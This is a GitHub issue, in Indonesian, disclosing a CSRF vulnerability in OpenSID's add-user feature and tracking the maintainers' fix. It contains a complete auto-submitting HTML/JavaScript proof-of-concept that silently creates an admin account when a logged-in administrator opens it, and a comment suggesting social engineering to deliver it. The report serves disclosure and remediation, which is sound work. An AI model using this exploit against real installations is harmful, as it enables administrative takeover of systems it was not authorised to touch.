Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[SECURITY BUG] CSRF Token not exist On Add Account Feature Leads To Add Admin Accounts #1176

Closed
jrsfaisal opened this issue Jul 1, 2018 · 5 comments
Labels
security Keamanan, perlu diperbaiki secepatnya.

Comments

@jrsfaisal
Copy link

Serangan CSRF merupakan jenis serangan yang memaksa korban untuk melakukan eksekusi tindakan yang tidak diinginkan pada aplikasi web yang saat ini sedang diotentifikasi.

Bagaimana alurnya sampai muncul masalah?

  1. Pada saat melakukan penambahan pengguna tidak terdapat parameter unique token yang membedakan antara pengguna A dan pengguna B.
    csrf1

csrf2

  1. Karena tidak terdapat CSRF token yang unique, maka fitur tersebut dapat dieksploitasi menggunakan serangan CSRF. Berikut ini merupakan script exploit untuk serangan CSRF tambah akun selevel admin.
<html>
  <body onload="submitRequest()">
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/ip-address\/index.php\/man_user\/insert", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------79582607611099");
        xhr.withCredentials = true;
        var body = "-----------------------------79582607611099\r\n" + 
          "Content-Disposition: form-data; name=\"id_grup\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------79582607611099\r\n" + 
          "Content-Disposition: form-data; name=\"username\"\r\n" + 
          "\r\n" + 
          "yudo\r\n" + 
          "-----------------------------79582607611099\r\n" + 
          "Content-Disposition: form-data; name=\"password\"\r\n" + 
          "\r\n" + 
          "yudo\r\n" + 
          "-----------------------------79582607611099\r\n" + 
          "Content-Disposition: form-data; name=\"nama\"\r\n" + 
          "\r\n" + 
          "faisal yudo\r\n" + 
          "-----------------------------79582607611099\r\n" + 
          "Content-Disposition: form-data; name=\"phone\"\r\n" + 
          "\r\n" + 
          "08123456789\r\n" + 
          "-----------------------------79582607611099\r\n" + 
          "Content-Disposition: form-data; name=\"email\"\r\n" + 
          "\r\n" + 
          "faisal@gmail.com\r\n" + 
          "-----------------------------79582607611099\r\n" + 
          "Content-Disposition: form-data; name=\"foto\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------79582607611099--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
  </body>
</html>
  1. Apabila script diatas dilempar dan tereksekusi oleh pengguna (admin) yang sedang login pada sistem opensid, maka secara otomatis akan menambahkan pengguna baru.
    csrf3
    csrf4

  2. Setelah akun selevel admin berhasil ditambahkan, tentu akun tersebut dapat digunakan untuk login ke opensid dan mengambil alih sistem tersebut.

Seperti apa yang diharapkan?

Perlu menambahkan unique token CSRF pada setiap perubahan data baik pada method POST maupun GET untuk menghindari serangan jenis ini.

Apa yang terjadi?

Melalui bug CSRF ini, sistem bisa saja diambil alih oleh attacker. Namun untuk berhasil atau tidaknya, perlu adanya interaksi antara attacker dan korban. Bila korban mengakses script exploit CSRF pada saat kondisi login, maka serangan berhasil.

Informasi tambahan

Tanya Jawab
Versi OpenSID OpenSID 18.06-pasca
Versi PHP PHP 5.5.9-1ubuntu4.25
System operasi Ubuntu 14.04.2 LTS
@eddieridwan eddieridwan added this to DIPRIORITASKAN in Rilis yang sedang dikerjakan Jul 1, 2018
@eddieridwan eddieridwan added the security Keamanan, perlu diperbaiki secepatnya. label Jul 1, 2018
@yus-ham yus-ham mentioned this issue Aug 9, 2018
eddieridwan added a commit that referenced this issue Aug 10, 2018
@eddieridwan
Copy link
Collaborator

Sudah dicommit ke master melalui PR #1588

@eddieridwan eddieridwan moved this from DIPRIORITASKAN to SUDAH DI MASTER in Rilis yang sedang dikerjakan Aug 10, 2018
@eddieridwan
Copy link
Collaborator

eddieridwan commented Aug 10, 2018

@jrsfaisal : mohon bantuan anda untuk memeriksa hasil perbaikan @suphm. Script bisa diambil dari branch https://github.com/OpenSID/OpenSID/tree/csrf. Kalau masih bermasalah, silakan jelaskan di issue ini. Terima kasih.

@eddieridwan eddieridwan moved this from SUDAH DI MASTER to SEDANG DIKERJAKAN in Rilis yang sedang dikerjakan Aug 10, 2018
@eddieridwan eddieridwan reopened this Aug 10, 2018
@eddieridwan
Copy link
Collaborator

eddieridwan commented Aug 10, 2018

@suphm : saya coba gabung PR anda #1588. Tapi seperti anda katakan, semua controller/form perlu diubah, karena bersifat global. Form yg belum diubah sekarang tidak jalan, dgn error ' Bad Request'. Jadi saya buatkan branch terpisah https://github.com/OpenSID/OpenSID/tree/csrf.

Di branch itu, saya sudah ubah surat_masuk, dokumen dan dokumen_sekretariat. Apakah anda bisa ubah form lainnya di branch https://github.com/OpenSID/OpenSID/tree/csrf? Terima kasih.

@yus-ham yus-ham mentioned this issue Apr 12, 2020
@eddieridwan eddieridwan moved this from SEDANG DIKERJAKAN to SUDAH DI MASTER in Rilis yang sedang dikerjakan Apr 16, 2020
@eddieridwan
Copy link
Collaborator

@jrsfaisal , anti-CSRF sudah masuk ke rilis, yg dipasang di https://demo.opensid.my.id. Apakah anda bisa bantu uji menggunakan exploit anda di atas? Atau bisa beri petunjuk bagaimana caranya melempar script itu supaya tereksekusi oleh pengguna (admin) yang sedang login pada sistem opensid. Terima kasih. Apakah menggunakan https://portswigger.net/burp? Apakah cukup menggunakan versi gratis?

Terima kasih bantuannya.

@yus-ham
Copy link
Contributor

yus-ham commented Apr 16, 2020

melempar script itu supaya tereksekusi oleh pengguna (admin) yang sedang login pada sistem opensid

menurut saya dengan sosial enginering, lewat sosmed / email sih bisa aja

Perlu menambahkan unique token CSRF pada setiap perubahan data baik pada method POST maupun GET untuk menghindari serangan jenis ini.

kalau saya lihat implementasi di framework CI ini atau yii2 (karena saya pengguna yii2) hanya di method POST aja. pada dasarnya juga method GET bukan untuk mengubah data kan? atau saya ada yang miss?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
security Keamanan, perlu diperbaiki secepatnya.
Projects
No open projects
Rilis yang sedang dikerjakan
  
SUDAH DI MASTER
Development

No branches or pull requests

3 participants